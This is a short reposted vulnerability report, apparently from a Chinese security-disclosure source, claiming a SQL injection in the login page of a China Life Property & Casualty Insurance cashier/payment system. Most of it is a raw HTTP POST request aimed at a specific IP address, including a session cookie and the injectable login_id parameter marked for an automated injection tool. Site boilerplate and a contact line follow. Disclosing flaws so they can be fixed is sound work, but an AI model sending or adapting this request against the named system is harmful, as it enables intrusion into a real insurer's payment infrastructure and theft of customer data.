中国人寿财产保险某重要业务系统SQL注入
中国人寿财产保险某重要业务系统SQL注入
收银台系统。。。。地址:https://106.37.195.143/clppay/jsp/login/login.jsp 登陆框注入
post包:
POST /clppay/LoginAction.do HTTP/1.1
Host: 106.37.195.143
Proxy-Connection: keep-alive
Content-Length: 32
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: https://106.37.195.143
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://106.37.195.143/clppay/jsp/login/login.jsp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: JSESSIONID=bTGYW4wJFnn1hLrFbJvwvhGLprb2S98HJ0tpXz0Tyh2qRFMtCQXq!-968640039
login_mac=&login_id=*&password=a
—-想了解更多的企业安全相关处理怎么解决关注<计算机技术网(www.ctvol.com)!!>
本文来自网络收集,不代表计算机技术网立场,如涉及侵权请联系管理员删除。
ctvol管理联系方式QQ:251552304
本文章地址:https://www.ctvol.com/webstt/esecurity/100045.html